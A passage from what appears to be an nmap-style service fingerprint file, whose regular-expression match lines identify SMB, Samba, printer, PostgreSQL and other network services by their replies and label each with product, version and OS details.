nomachine-nx m|^...................................................................................................\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00...\x00\x00\x00\x00\x00...\x84\x8e\x7f\x00\x00......\x00\x00......\x00\x00......\x00\x00......\x00\x00...\x00\x00\x00\x00\x00....\x8e\x7f\x00\x00......\x00\x00......\x00\x00...\x00\x00\x00\x00\x00...\x00\x00\x00\x00\x00...\x00\x00\x00\x00\x00......\x00\x00...\x00\x00\x00\x00\x00....\x00\x00\x00\x00......\x00\x00...\x84\x8e\x7f\x00\x00......\x00\x00......\x00\x00....\x00\x00\x00\x00......\x00\x00...\x00\x00\x00\x00\x00.....\x7f\x00\x00......\x00\x00.\xfe\x7c\x17..\x00\x00......\x00\x00...\x00\x00\x00\x00\x00......\x00\x00......\x00\x00....\x00\x00\x00\x00......\x00\x00...\x00\x00\x00\x00\x00......\x00\x00\x40.....\x00\x00......\x00\x00......\x00\x00......\x00\x00.....\x7f\x00\x00...\x00\x00\x00\x00\x00...\x00\x00\x00\x00\x00...\x00\x00\x00\x00\x00...\x00\x00\x00\x00\x00....\x8e\x7f\x00\x00......\x00\x00...| p/NoMachine NX remote administration/ match airport-admin m|^acpp\0.\0.....\0\0\0\x01| p/Apple AirPort or Time Capsule admin/ match afarianotify m|^\0\0\x017| p/Sybase Afaria/ v/$1/ i/Abbott i-STAT blood analyzer/ match ajp13 m|^\0\0\0\x01\0\x0cUnauthorized| p/Oracle Containers for J2EE/ i/unauthorized/ cpe:/a:oracle:containers_for_j2ee/ match bmc-tmart m=^\x15uBMC TM ART Version ([\w._-]+, Build \d+ from [\d-]+), Copyright \? [\d-]+ BMC Software, Inc\. \| All Rights Reserved\.= p/BMC Transaction Management Application Response Time/ v/$1/ cpe:/a:bmc:transaction_management_application_response_time:$1/ match brassmonkey m|^\x08\0\0\0\0\0\x08\x01\0\0\t\0$| p/Brass Monkey controller service/ match byond m|^\0\0\0\x02\0\0$| p/BYOND game platform/ match caigos-conductus m|^\0\0\0\0\0\0\0=r\0\0\0\0\0\0\0\xd8\x97%\x01\x13\0\0\0CONDUCTUS_PG([\w._-]+)\x1a\0\0\0unbekannter Code: 19240920$| p/Conductus/ v/$1/ i/Caigos GIS/ match caigos-pactor m|^\0\0\0\0\0\0\0:r\0\0\0\0\0\0\0\xe8EU\x04\x10\0\0\0PACTOR_PG([\w._-]+)\x1a\0\0\0unbekannter Code: 72697320$| p/Pactor/ v/$1/ i/Caigos GIS/ match caigos-fundus m|^\0\0\0\0\0\0\0;r\0\0\0\0\0\0\0h\xd52\t\x10\0\0\0FUNDUS_PG([\w._-]+)\x1b\0\0\0unbekannter Code: 154326376$| p/Fundus/ v/$1/ i/Caigos GIS/ match caigos-paratus m|^\0\0\0\0\0\0\0;r\0\0\0\0\0\0\0XL\)\x01\x11\0\0\0PARATUS_PG([\w._-]+)\x1a\0\0\0unbekannter Code: 19483736$| p/Paratus/ v/$1/ i/Caigos GIS/ match caigos-conspectus m|^\0\0\0\0\0\0\0>r\0\0\0\0\0\0\0\xf8\x926\x01\x14\0\0\0CONSPECTUS_PG([\w._-]+)\x1a\0\0\0unbekannter Code: 20353784$| p/Conspectus/ v/$1/ i/Caigos GIS/ match digitalwatchdog m|^\x01\0\0\0\0\0\0\(PSPROTOCOL\0\0\0\0\0\0\xa0\0\0\x01\0\0\0\x0c\0\0\0\0\0\0\0\0\xe0\0\0\x04\0\0\0\0\0\0\0\0| p/Digital Watchdog IP camera unknown service/ d/webcam/ # Need more matches. Same response to Kerberos, runs on 1489 and 1490(secure) match docbroker m|^\0\0\0\x080\x06\x02\x01\0\x02\x01i| p/Documentum Content Server/ cpe:/a:emc:documentum_content_server/ match fastobjects-db m|^\xce\xfa\x01\0\x16\0\0\0\0\0\0\x003\xf6\0\0\0\0\0\0\0\0$| p/Versant FastObjects database/ # Flexlm might be too general: -Doug match flexlm m|^W.-60\0|s p/FlexLM license manager/ match flexlm m|^W.\0\0\0\0|s p/FlexLM license manager/ match greenplum m|^E\0\0\0\x83SFATAL\0C0A000\0Munsupported frontend protocol 3923\.19778: server supports 1\.0 to 3\.0\0Fpostmaster\.c\0L2504\0RProcessStartupPacket\0\0| p/Greenplum database/ match h2 m|^\x52\x00\x00\x00\x08\x00\x00\x00\x03$| p/H2 database/ match honeywell-hscodbcn m|^\0\0\0\x02\0\x03$| p/Honeywell hscodbcn power management server/ match http m|^HTTP/1\.0 503 OK\r\nContent-Type: text/html\r\n\r\nBusy$| p/D-Link DI-524 WAP http config/ d/WAP/ cpe:/h:dlink:di-524/ match http m|^HTTP/1\.1 414 Request URI Too Long\r\nServer: Catwalk\r\nDate: .*\r\nContent-Length: 0\r\nConnection: close\r\n\r\n$| p/Catwalk httpd/ i/Canon imageRUNNER printer/ d/printer/ match iperf3 m|^\t$| # Need more examples of this one -Doug match kerberos-sec m|^.*Internal KDC error, contact administrator|s p/Shishi kerberos-sec/ match libvirt-rpc m|^\0\0\0\xb8\xffSMBr\0\0\0\0\x08\x01@\0\0\0\x01\0\0\0\0\0\0\0\x01\0\0\0'\0\0\0\x07\0\0\0\x01\0\0\0\x30Cannot find program -11317950 version 1912602624\0\0\0\x02\0\0\0\0\0\0\0\x01\0\0\0\x02%s\0\0\0\0\0\x01\0\0\0\x30Cannot find program -11317950 version 1912602624\0\0\0\0\xff\xff\xff\xff\xff\xff\xff\xff\0\0\0\0| p/libvirt RPC/ cpe:/a:redhat:libvirt/ match lorex-monitor m|^\0\0\x01\x01@\n\0\x08\x80\0\x82\0L\xb8..\xff\xff\xff\xff\0\0\0\0$|s p/Lorex security camera monitor/ d/webcam/ match metatrader m|^A$| p/MetaTrader Data Center/ # Longhorn match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.\n\0\x01\0\x04\x11\0\0\0\0\x01\0\0\0\0\0\xfd\xe3\x03\0|s p/Microsoft Windows Longhorn microsoft-ds/ o/Windows/ cpe:/o:microsoft:windows/a # Windows XP SP1 match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.\n\0\x01\0\x04\x11\0\0\0\0\x01\0\0\0\0\0\xfd\xe3\0\0|s p/Microsoft Windows XP microsoft-ds/ o/Windows XP/ cpe:/o:microsoft:windows_xp/a match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.2\0\x01\0\x04A\0\0\0\0\x01\0\0\0\0\0\xfd\xf3\0\0|s p/Microsoft Windows 2000 microsoft-ds/ o/Windows 2000/ cpe:/o:microsoft:windows_2000/a # Microsoft Windows 2003 or 2008 match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.2\0\x01\0\x04.\0\0\0\0\x01\0\0\0\0\0\xfd\xf3\x01\0|s p/Microsoft Windows 2003 or 2008 microsoft-ds/ o/Windows/ cpe:/o:microsoft:windows_server_2003/a # Microsoft Windows 2000 Server # Microsoft Windows 2000 Server SP4 match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.[}2]\0\x01\0\x04A\0\0\0\0\x01\0\0\0\0\0\xfd[\xe3\xf3]\0\0|s p/Microsoft Windows 2000 microsoft-ds/ o/Windows 2000/ cpe:/o:microsoft:windows_2000/a match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.2\0\x01\0\x04A\0\0\0\0\x01\0\0\0\0\0\xfc\xe3\x01\0|s p/Microsoft Windows Server 2008 R2 - 2012 microsoft-ds/ o/Windows Server 2008 R2 - 2012/ cpe:/o:microsoft:windows/ match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.2\0\x01\0\x04A\0\0\0\0\x01\0\0\0\0\0\xfc\xf3\x01\0.{21}((?:..)*)\0\0((?:..)*)\0\0|s p/Microsoft Windows Server 2008 R2 - 2012 microsoft-ds/ i/workgroup: $P(1)/ o/Windows/ h/$P(2)/ cpe:/o:microsoft:windows/ match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.\n\0\x01\0\x04\x11\0\0\0\0\x01\0\0\0\0\0\xfc\xe3\x01\0.{21}((?:..)*)\0\0((?:..)*)\0\0|s p/Microsoft Windows 7 - 10 microsoft-ds/ i/workgroup: $P(1)/ o/Windows/ h/$P(2)/ cpe:/o:microsoft:windows/ match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.\n\0\x01\0\x04\x11\0\0\0\0\x01\0\0\0\0\0\xfc\xe3\x01\0|s p/Microsoft Windows 7 - 10 microsoft-ds/ o/Windows/ cpe:/o:microsoft:windows/ match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.2\0\x01\0\x04\x11\0\0\0\0\x01\0\0\0\0\0\xfc\xe3\x01\0.{21}(.*)\0\0(.*)\0\0|s p/Microsoft Windows 7 - 10 microsoft-ds/ i/workgroup: $P(1)/ o/Windows/ h/$P(2)/ cpe:/o:microsoft:windows/ match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.2\0\x01\0\x04\x11\0\0\0\0\x01\0\0\0\0\0\xfc\xe3\x01\0|s p/Microsoft Windows 7 - 10 microsoft-ds/ o/Windows/ cpe:/o:microsoft:windows/ match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.2\0\x01\0\x04A\0\0\0\0\x01\0\0\0\0\0\xfd\xe3\x01\0.{21}((?:..)*)\0\0((?:..)*)\0\0|s p/Microsoft Windows Server 2008 R2 microsoft-ds/ i/workgroup: $P(1)/ o/Windows/ h/$P(2)/ cpe:/o:microsoft:windows_server_2008:r2/a match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.\x10\0\x01\0\x04\x11\0\0\0\0\x01\0\0\0\0\0\xfc\xe3\x01\0.{21}((?:..)*)\0\0((?:..)*)\0\0|s p/Microsoft Windows Embedded Standard microsoft-ds/ i/workgroup: $P(1)/ o/Windows/ h/$P(2)/ cpe:/o:microsoft:windows/a match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.\x10\0\x01\0\x04\x11\0\0\0\0\x01\0\0\0\0\0\xfd\xe3\0\0.{21}((?:..)*)\0\0((?:..)*)\0\0|s p/Microsoft Windows XP Embedded microsoft-ds/ i/workgroup: $P(1)/ o/Windows/ h/$P(2)/ cpe:/o:microsoft:windows_xp/a match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.\x0a\0\x01\0\x04\x11\0\0\0\0\x01\0\0\0\0\0\xfd\xe3\x01\0.{21}((?:..)*)\0\0((?:..)*)\0\0|s p/Microsoft Windows Vista Embedded microsoft-ds/ i/workgroup: $P(1)/ o/Windows/ h/$P(2)/ cpe:/o:microsoft:windows_vista/a match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.\x05\0\x01\0\x04\x11\0\0\0\0\x01\0\xad\x05\0\0|s p|IBM OS/400 microsoft-ds| o|OS/400| cpe:/o:ibm:os_400/a # Xerox WorkCentre Pro c3545 and Xerox DocumentCentre 425 match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x81\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\r\x03\0|s p/Xerox printer microsoft-ds/ d/printer/ match microsoft-ds m|^\0\0\0\x61\xffSMBr\0\0\0\0\x88\x03\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x06\0\x02\x0a\0\x01\0....\xff\xff\x00\x00....\0\x03\0\0\0|s p/Xerox WorkCentre 5225 printer microsoft-ds/ d/printer/ cpe:/h:xerox:workcentre_5225/a # FujiXerox ApeosPort-IV C4470 # Xerox WorkCentre 5225 match microsoft-ds m|^\0\0\0\x61\xffSMBr\0\0\0\0\x88\x03\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x06\0\x02\x0a\0\x01\0\x04\x11\0\0\xff\xff\0\0....\0\x03\0\0..........\x08\x1c\0........\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0$|s p/Xerox printer microsoft-ds/ d/printer/ match microsoft-ds m|^\0\0\0\x3d\xffSMBr\0\0\0\0\x88\0\x40\0\0\0\0\0\0\0\0\0\0\0\0\0\0..\0\0\x01\0\r\x04\0\x01\0\xfc\x032\0\x03\0\0\0\0\0\0\0......\0\0\0\0\0\0|s p/Edimax PS-1206P print server smbd/ d/print server/ match microsoft-ds m|^\0\0\0\x4d\xffSMBr\0\0\0\0\x88\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0..\0\0\x01\0\x11\x07\0\x02\x02\0\x01\0\xfc\x7f\0\0\0\0\x01\0\x01\0\0\0\0\x02\0\0..........\x08\x08\0\0\0\0\0\0\0\0\0|s p/Sharp MX-M350N printer smbd/ d/printer/ cpe:/h:sharp:mx-m350n/a match microsoft-ds m|^\0...\xffSMBr\0\0\0\0\x81\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0..\0\0\x01\0\x11\x06\0\x03\x7f\0\x01\0\xff\xff\0\0\xff\xff\0\0\0\0\0\0\xfd\xb3\0\0..........\x08\x22\0........((?:\w\0)+)\0\0((?:\w\0)+)\0\0$|s p/EMC Celerra NAS device smbd/ i/Primary domain: $P(1)/ h/$P(2)/ match microsoft-ds m|^\0...\xffSMBr\0\0\0\0\x98\x01\x40\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff\x40\x06\0\0\x01\0\x11\x07\0\x03\x01\0\x01\0\0\x10\0\0\0\0\x01\0\0\0\0\0\xfd\xe3\0\0..........\x00\x34\0W\0O\0R\0K\0G\0R\0O\0U\0P\0\0\0H\0O\0M\0E\0U\0S\0E\0R\0-\0.\0.\0.\0.\0.\0.\0\0\0|s p/Dionaea honeypot smbd/ match microsoft-ds m|^\0...\xffSMBr\0\0\0\0\x98\x02\xc8\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x40\x06\0\0\x01\0\x11\x07\0\x032\0\x01\0\x04\x41\0\0\0\0\x01\0\0\0\0\0\xfc\xc0\0\x80..........\0..................\x60\x5f\x06\x06\+\x06\x01\x05\x05\x02\xa0U0S\xa0\+0\)\x06\t\*\x86H\x86\xf7\x12\x01\x02\x02\x06\x05\+\x05\x01\x05\x02\x06\t\*\x86H\x82\xf7\x12\x01\x02\x02\x06\n\+\x06\x01\x04\x01\x827\x02\x02\n\xa3\$0\"\xa0 \x1b\x1e[\w._-]+/([\w._-]+)@$|s p/Likewise smbd/ h/$1/ # key was \xd7\xd7\xd8\xd8\xd8\xd8\xd8\xd9 match microsoft-ds m|^\0...\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x03\n\0\x01\0<\[\0\0\0\0\x01\0\0\0\0\0\\\0\0\0........\0\0\x08\x08\0........| p/HP Officejet Pro 8600 printer smbd/ d/printer/ cpe:/h:hp:officejet_pro_8600/a # key was 4 bytes repeated match microsoft-ds m|^\0...\xffSMBr\0\0\0\0\x88\x03\xc0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x02\x01\0\x01\0\xff\xff\0\0\0\0\x01\0\0\0\0\0\}\xa2\0\0..........\x08\x08\0........|s p/Arcadyan ARV752DPW22 (Vodafone EasyBox 803A) WAP smbd/ d/WAP/ cpe:/h:arcadyan:arv752dpw22/ match microsoft-ds m|^\0...\xffSMBr\0\0\0\0\x88\x01H\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x03\n\0\x01\0\0\0\x01\0\0\0\x01\0\0\0\0\0\x7c\xe0\0\0..........\x08\x08\0........|s p/Epson WF-2650 printer smbd/ d/printer/ cpe:/h:epson:wf-2650/a match microsoft-ds m|^\0...\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x03\n\0\x01\0\xec\xfa\0\0\0\0\x01\0\0\0\0\0\x7c \0\0..........\x08\x08\0........|s p/Apple Time Capsule smbd/ d/storage-misc/ match microsoft-ds m|^\0...\xffSMBr\0\0\0\0\x88C@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x03\xff\xff\x01\0\x04A\0\0\x04A\0\0....\xfc\x02\0\0.{21}((?:..)+)\0\0((?:..)+)\0\0| p/Acopia ARX switch smbd/ i/workgroup: $P(1)/ d/storage-misc/ h/$P(2)/ match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x02\x01\0\x01\0h\x0b\0\0\xff\xff\0\0\0\0\0\0\x07\x02\0\0\0\0\0\0\0\0\0\0..\x08\x08\0\0\0\0\0\0\0\0\0| p/Fujitsu Storagebird LAN smbd/ d/storage-misc/ cpe:/h:fujitsu:storagebird_lan/ match microsoft-ds m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01H\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x03\n\0\x01\0\0\0\x01\0\0\0\x01\0\0\0\0\0\x7c \0\0..........\x08\x08| p/Epson printer smbd/ d/printer/ match microsoft-ds m|^\0\0\0a\xffSMBr\0\0\0\0\x80\0{16}@\x06\0\0\x01\0\x11\x07\0\x03\x01\0\x14\0@\x1e\0\0\xff\xff\0\0....\x14\x02\0{10}..\x08\x1c\0.{8}((?:(?!\0\0).)+?)\0\0| p/Canon Pixma printer smbd/ i/workgroup: $P(1)/ d/printer/ # Microsoft Windows XP SP1 # Windows 2000 match msrpc m|^\x05\0\r\x03\x10\0\0\0\x18\0\0\0....\x04\0\x01\x05\0...$|s p/Microsoft Windows RPC/ o/Windows/ cpe:/o:microsoft:windows/a # Microsoft Windows 2000 # samba-2.2.7-5.8.0 on RedHat 8 # samba-2.2.7a-8.9.0 on Red Hat Linux 7.x match netbios-ssn m|^\0\0\0.\xffSMBr\0\0\0\0\x88\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x06\0.*\W([-_.\w]+)\0$|s p/Samba smbd/ i/workgroup: $1/ cpe:/a:samba:samba/ # Samba 2.999+3.0.alpha21-5 on Linux # Samba 3.0.0rc4-Debian # Samba 4.1.6-ubuntu # Samba 3.6.x on FreeBSD # Samba 3.0.x based SMB implementation by Apple match netbios-ssn m|^\0\0\0.\xffSMBr\0\0\0\0\x88..\0\0[-\w. ]*\0+@\x06\0\0\x01\0\x11\x06\0.{42}(.*)\0\0(.*)\0\0$|s p/Samba smbd/ v/3.X - 4.X/ i/workgroup: $P(1)/ h/$P(2)/ cpe:/a:samba:samba/ # The line below may no longer be required and seems to miss the first capture on test systems match netbios-ssn m=^\0\0\0.\xffSMBr\0\0\0\0\x88..\0\0[-\w. ]*\0+@\x06\0\0\x01\0\x11\x06\0.*(?:[^\0]|[^_A-Z0-9-]\0)((?:[-\w]\0){2,50})=s p/Samba smbd/ v/3.X - 4.X/ i/workgroup: $P(1)/ cpe:/a:samba:samba/ match netbios-ssn m|^\0\0\0.\xffSMBr\0\0\0\0\x88..\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x06\0..\0\x01\0..\0\0...\0..\0\0|s p/Samba smbd/ v/3.X - 4.X/ cpe:/a:samba:samba/ # Samba 2.2.8a on Linux 2.4.20 match netbios-ssn m|^\x83\0\0\x01\x81$| p/Samba smbd/ cpe:/a:samba:samba/ match netbios-ssn m|^\0\0\0.\xffSMBr\0\0\0\0\x88..\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x01\xff\xff\0\0$|s p/Samba smbd/ v/4.6.2/ cpe:/a:samba:samba:4.6.2/ # DAVE 4.1 enhanced windows networks services for Mac on Mac OS X match netbios-ssn m|^\0\0\0.\xffSMBr\x02\0Y\0\x98\x01.\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\0\x07\0|s p/Thursby DAVE Windows filesharing/ i/Runs on Macintosh systems/ o/Mac OS/ cpe:/o:apple:mac_os/a # Windows Session Service - 139/tcp - Formerly Window 98 match, actually matches Win 98 through Windows 8 / 2012 R2 match netbios-ssn m|^\x83\0\0\x01\x8f$| p/Microsoft Windows netbios-ssn/ o/Windows/ cpe:/o:microsoft:windows/a # Netware might just be using Samba? match netbios-ssn m|^\0\0\0M\xffSMBr\0\0\0\0\x80\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x032\0\x01\0\xff\xff\0\0\0\0\x01\0| p/NetWare 6 SMB Services/ o/NetWare/ cpe:/o:novell:netware:6/ # Network Appliance ONTAP 6.3.3 netbios-ssn match netbios-ssn m=^\0\0\0.\xffSMBr\0\0\0\0\x98\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.*(?:[^\0]|[^_A-Z0-9-]\0)((?:[-\w]\0){2,50})=s p/Netapp ONTAP smbd/ i/workgroup: $P(1)/ cpe:/a:netapp:data_ontap/ match netbios-ssn m|^\0\0\0.\xffSMBr\0\0\0\0\x98\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0.*\W([-_.\w]+)\0$| p/Netapp ONTAP smbd/ i/workgroup: $1/ cpe:/a:netapp:data_ontap/ match netbios-ssn m|^\0\0\0M\xffSMBr\0\0\0\0\x88\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x02\x02\0\x01\0\0\x80\0\0\0\0\x01\0\x01\0\0\0\0\x02\0\0| p/Kyocera FS-1030D printer smbd/ d/printer/ cpe:/h:kyocera:fs-1030d/a match netbios-ssn m|^\x82\0\0\0\n-> doHttp: Connection timeouted!\n\ntelnetd: This system \*IN USE\* via telnet\.\nshell restarted\.\n\x08\x08\x08\x08 \*\*\* EPSON Network Print Server \(([^)]+)\) \*\*\*\n\n\x08\x08\x08\x08 \nPassword: | p/Epson print server smbd/ v/$1/ d/print server/ match netbios-ssn m|^\0\0\0M\xffSMBr\0\0\0\0\x98. \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x03\x32\0\x01\0....\x00\x00\x01\x00....\xf4\xc2\0\0|s p/IOGear GMFPSU22W6 print server smbd/ d/print server/ cpe:/h:iogear:gmfpsu22w6/a # match netbios-ssn m|^\0\0\0M\xffSMBr\0\0\0\0\x98\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x032\0\x01\0\x04A\0\0\0\0\x01\0 \0\0\0\xf4\xc2\0\0\x80\x1e\xdd\x8b\xe7\?\xca\x01 \xfe\x08\x08\0z~\xc7\*\xc9\x1f\xd3\x9b" match netbios-ssn m|^\0\0\0M\xffSMBr\0\0\0\0\x98\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11\x07\0\x02\x01\0\x01\0\xff\xff\0\0\xff\xff\0\0\0\0\0\0\x01\x02\0\0| p/Brother MFC-820CW printer smbd/ d/printer/ cpe:/h:brother:mfc-820cw/a match netbios-ssn m|^\0\0\0G\xffSMBr\0\0\0\0\x88\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\r\x04\0\0\0\xa0\x05\x02\0\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0WORKGROUP\0$| p/Citizen CLP-521 printer smbd/ d/printer/ cpe:/h:citizen:clp-521/ match netbios-ssn m|^\0\0\0G\xffSMBr\0\0\0\0\x88\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\r\x04\0\0\0\xa0\x05\x02\0\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0| p/Kyocera Mita KM-1530 printer smbd/ d/printer/ cpe:/h:kyocera:mita_km-1530/a match netbios-ssn m|^\x82\0\0\0$| p/Konica Minolta bizhub C452 printer smbd/ d/printer/ cpe:/h:konicaminolta:bizhub_c452/ # Too broad, but also gives good info softmatch microsoft-ds m|^\0\0..\xffSMBr\0\0\0\0[\x80-\xff]..\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11[\x01-\x07]\0.{42}(.*)\0\0(.*)\0\0$|s i/workgroup: $P(1)/ h/$P(2)/ softmatch microsoft-ds m|^\0\0..\xffSMBr\0\0\0\0[\x80-\xff]..\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\x11[\x01-\x07]\0|s match remote-volume m|^\0\0\0\x18\xffSMB\0\0\0\0\0\0\0\0\0\0\0\0\x01\0\0\0\x01\0\0\0| p/NetApp Remote Volume protocol/ match netradio m%^@(?:NETRADIO|MAIN|SYS):[A-Z0-9]+=% p/Yamaha Net Radio/ d/media device/ match nightwatchman m|^ACKDONEV\$\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x01\0\0\0([\d.]+)\0\0\0| p/1E NightWatchman WakeUp Server/ v/$1/ # HP OpenView Storage Data Protector A.05.10 on Windows 2000 # Hewlett Packard Omniback 4.1 on Windows NT match omniback m|^\0\0\0.\xff\xfe1\x005\0\0\0 \0\x07\0\x01\0\[\x001\x002\0:\x001\0\]\0\0\0 \0\x07\0\x02\0\[\x002\x000\x000\x003\0\]\0\0\0 |s p/HP OpenView Omniback/ o/Windows/ cpe:/o:microsoft:windows/a # HP OpenView Storage Data Protector A.05.10 on Linux match omniback m|^\0\0\0.15\0 \x07\x01\[12:1\]\0 \x07\x02\[2003\]\0 \x07\x051\d+\0 INET\0 ([\w._-]+)\0|s p|HP OpenView Omniback/Data Protector| o/Unix/ h/$1/ match ouman-trend m|^\0\0\0\x05\xffSMBr$| p/Ouman Trend environmental sensor/ #### Match versions based on line numbers in error messages. # http://seclists.org/nmap-dev/2010/q1/456 # Update like this: # cd src/backend/postmaster/; git tag -l 'REL*' | while read tag; do git checkout $tag -- postmaster.c; echo $tag:$(grep -n "PG_PROTOCOL_MINOR(PG_PROTOCOL_LATEST))));" postmaster.c) >> lines.txt; done # The line numbers need to be updated in both the non-Windows and Windows sections # Amazon Redshift, based on PostgreSQL 8.0.2 # line numbers are distinctly different, as well as the source code path match postgresql m|^E\0\0\0.SFATAL\0C0A000\0Munsupported frontend protocol 65363\.19778: server supports 1\.0 to 3\.0\0F/home/ec2-user/padb/src/pg/src/backend/postmaster/postmaster\.c\0L2463\0RProcessStartupPacket\0\0$|s p/Amazon Redshift/ v/1.0.1691/ cpe:/a:amazon:redshift:1.0.1691/ # PostgreSQL - Non-Windows platforms match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1287\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/7.4.0 - 7.4.1/ cpe:/a:postgresql:postgresql:7.4/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1293\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/7.4.2 - 7.4.30/ cpe:/a:postgresql:postgresql:7.4/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1408\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.0 - 8.0.1/ cpe:/a:postgresql:postgresql:8.0/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1431\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.2 - 8.0.4/ cpe:/a:postgresql:postgresql:8.0/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1439\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.7 - 8.0.8/ cpe:/a:postgresql:postgresql:8.0/ match postgresql 